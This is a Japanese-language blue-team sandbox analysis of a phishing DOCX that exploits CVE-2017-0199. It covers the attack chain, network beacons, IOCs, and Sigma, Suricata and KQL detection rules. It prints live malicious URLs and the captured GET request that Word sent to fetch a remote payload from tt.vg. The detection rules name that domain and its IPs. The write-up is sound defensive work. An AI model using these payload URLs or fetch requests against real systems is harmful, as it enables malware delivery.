🛡️ BankPaymAdviceVend.Report.docx CVE-2017-0199 – 完全なブルーチームサンドボックス分析

高度なマルウェア爆発 • エクスプロイト挙動 • IOCs • 検知エンジニアリング。

🎯 1. エグゼクティブサマリー

このリポジトリは、**CVE-2017-0199** Microsoft Office RCE 脆弱性を悪用する**実際の悪意のある DOCX** ファイルを文書化したものです。 このサンプルは **Windows 10 ANY.RUN サンドボックス**内で爆発させ、以下を明らかにしました：

✔ 完全なエクスプロイトチェーン
✔ 悪意のあるドメイン（tt.vg）へのネットワークコールバック
✔ ドロップされたファイルと一時アーティファクト
✔ JA3 フィンガープリント
✔ レジストリアクティビティ
✔ WINWORD.EXE からの HTTP/HTTPS ビーコン
✔ 完全なブルーチーム IOCs と検知ルール

🔍 2. シナリオ背景

「BankPaymAdviceVend.Report.docx」 というタイトルの文書がフィッシングメールで受信されました。
爆発すると、ANY.RUN は即座にこれを 悪意あり と判定し、以下に関連付けました：

• CVE-2017-0199 Word RCE エクスプロイト
• WINWORD.EXE による秘密の HTTP/HTTPS 接続
• 悪意のある短縮ドメイン tt.vg への接続
• リモートペイロード /BVhaS の取得試行

📄 3. サンプル情報

🧬 4. 攻撃チェーン（高レベル図）

[ 悪意のある DOCX ] │ ▼ [ ユーザーが Word で開く ] │ ▼ [CVE-2017-0199 エクスプロイトが発動] │ ▼ [WINWORD.EXE → HTTP/HTTPS 経由で tt.vg へ] │ ▼ [リモートパス: /BVhaS (GET / HEAD / OPTIONS)] │ ▼ [一時ファイル、EMF オブジェクト、キャッシュファイルがドロップされる] │ ▼ [可能性のある次のステージペイロード — サーバーが 404 を返す]

yaml Copy code

🌐 5. ネットワーク挙動

5.1 DNS リクエスト

悪意があると判定されたドメインは 1 つだけでした：

解決された IP:

188.114.96.3 188.114.97.3 172.67.138.42 (TLS v1.2)

yaml Copy code

📡 5.2 HTTP/HTTPS ビーコン

Word は以下を取得しようとしました：

GET /BVhaS HEAD /BVhaS OPTIONS / Host: tt.vg User-Agent: Microsoft Office / MSIE 7 スプーフ

yaml Copy code

キャプチャされた典型的なリクエスト:

GET /BVhaS HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0...) Connection: Keep-Alive Host: tt.vg

arduino Copy code

サーバーの応答:

HTTP/1.1 404 Not Found

yaml Copy code

📁 6. ドロップされたファイル

注目すべきアーティファクト

• 複数の .tmp ファイル
• Office .glox グラフィックオブジェクト
• ブラウザキャッシュ内の EMF 画像:
  %LOCALAPPDATA%\INetCache\Content.MSO\*.emf
• 最近使った文書のショートカット .LNK
• index.dat ログ
• Office 校正辞書の変更

🔐 7. レジストリとシステム挙動

Word がアクセスした場所:

HKCU\Software\Microsoft\Office\14.0... HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings... HKLM\System\ControlSet001\Services\Tcpip\Parameters\Interfaces...

yaml Copy code

✔ Office としては正常
❌ エクスプロイトと組み合わせると = 明確な悪意のある挙動

💣 8. エクスプロイトの内訳 — CVE-2017-0199

タイプ: リモートコード実行
トリガー: 悪意のある DOCX がユーザーの操作なしにリモート HTA を読み込む
影響を受けるバージョン: Microsoft Word 2007–2016
影響: 攻撃者が任意のコードを実行可能

このサンプルは、以下からリモートペイロードの読み込みを試みます：

http://tt.vg/BVhaS

yaml Copy code

🧩 9. IOCs

🔥 9.1 ネットワークインジケーター

ドメイン: tt.vg

URL: http://tt.vg/BVhaS https://tt.vg/BVhaS

IP: 188.114.96.3 188.114.97.3 172.67.138.42

shell Copy code

🔐 9.2 JA3 SSL フィンガープリント

091f51a7a1c3a4504a224cc081ce9cee 46f5131e766d248db0248a86c494b71c 65005c9d9ae0f0ebeaf22c210571d482 ...

yaml Copy code

🔍 10. 検知アイデア (Sigma / Suricata / EDR)

このセクションでは、BankPaymAdviceVend.Report.docx の技術分析を、SOC または ブルーチーム がすぐに展開できる実用的で本番環境対応の検知アーティファクトに変換します。 Sigma ルール、Suricata IDS シグネチャ、EDR ハンティングクエリが含まれます。

🧾 10.1 Sigma ルール — WINWORD → tt.vg

この Sigma ルールは、Windows ネットワークログ内で WINWORD.EXE によって開始され、不審な短縮ドメイン tt.vg へのネットワーク接続を検知します。

title: WINWORD Connecting To Suspicious Short Domain tt.vg
id: 0b2a5f3d-ttvg-word
status: experimental

logsource:
  category: network_connection
  product: windows

detection:
  selection:
    Image|endswith: '\WINWORD.EXE'
    DestinationHostname: 'tt.vg'
  condition: selection

level: high
tags:
  - attack.command_and_control
  - attack.t1071.001
  - cve.2017-0199

💡 WINWORD.EXE を介して tt.vg に接続する古い Office システムは、直ちに調査を開始する必要があります。

🌐 10.2 Suricata ルール — tt.vg 上の HTTP GET /BVhaS

悪意のあるドメイン tt.vg 上の GET /BVhaS に対する Office 発信のリクエストを識別する Suricata IDS ルールです。 これは、エクスプロイトによるペイロード取得の試みを捕捉します。

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"C2 – Office WINWORD GET /BVhaS on tt.vg";
    flow:established,to_server;
    http.method; content:"GET";
    http.uri; content:"/BVhaS"; nocase;
    http.host; content:"tt.vg"; nocase;
    http.user_agent; content:"MSOffice"; nocase;
    reference:cve,2017-0199;
    classtype:trojan-activity;
    sid:4200010;
    rev:1;
)

🔥 アウトバウンドトラフィックを監視するために Suricata または Zeek を使用している環境で非常に効果的です。

🛰️ 10.3 EDR ハンティングクエリ — WINWORD + tt.vg インジケーター

環境内で tt.vg または関連する IP アドレスへの同様の悪意のあるビーコンを示すマシンを特定するために使用される KQL (Microsoft Defender) ハンティングクエリです。

DeviceNetworkEvents
| where InitiatingProcessFileName == "WINWORD.EXE"
| where RemoteUrl in ("tt.vg")
   or RemoteIp in ("188.114.96.3","188.114.97.3","172.67.138.42")

🎯 目的: 単一のサンドボックス爆発を全社規模のハンティングに拡張します。

🧩 11. このラボが示すもの

このラボは、実際の フィッシング DOCX サンプルをエンドツーエンドで分析し、完全な SOC グレードの方法論に従うあなたの能力を示しています：

• CVE-2017-0199 が Microsoft Word 内でどのようにトリガーされるかを理解する。
• WINWORD.EXE が予期しない HTTP/S クライアントになる経路を追跡する。
• ネットワーク IOCs (ドメイン、URL、IP、JA3 TLS ハッシュ) を抽出する。
• フォレンジック価値のために ドロップされたファイル、最近のショートカット、レジストリアクセスを分析する。
• すべての調査結果を Sigma、Suricata、EDR ハンティングクエリに変換する。

言い換えれば — このラボは爆発で終わりません。 プロの SOC アナリストとまったく同じように、実際に実行可能な検知インテリジェンスを抽出します。

Designed & Documented by Ahmed Tarek Salah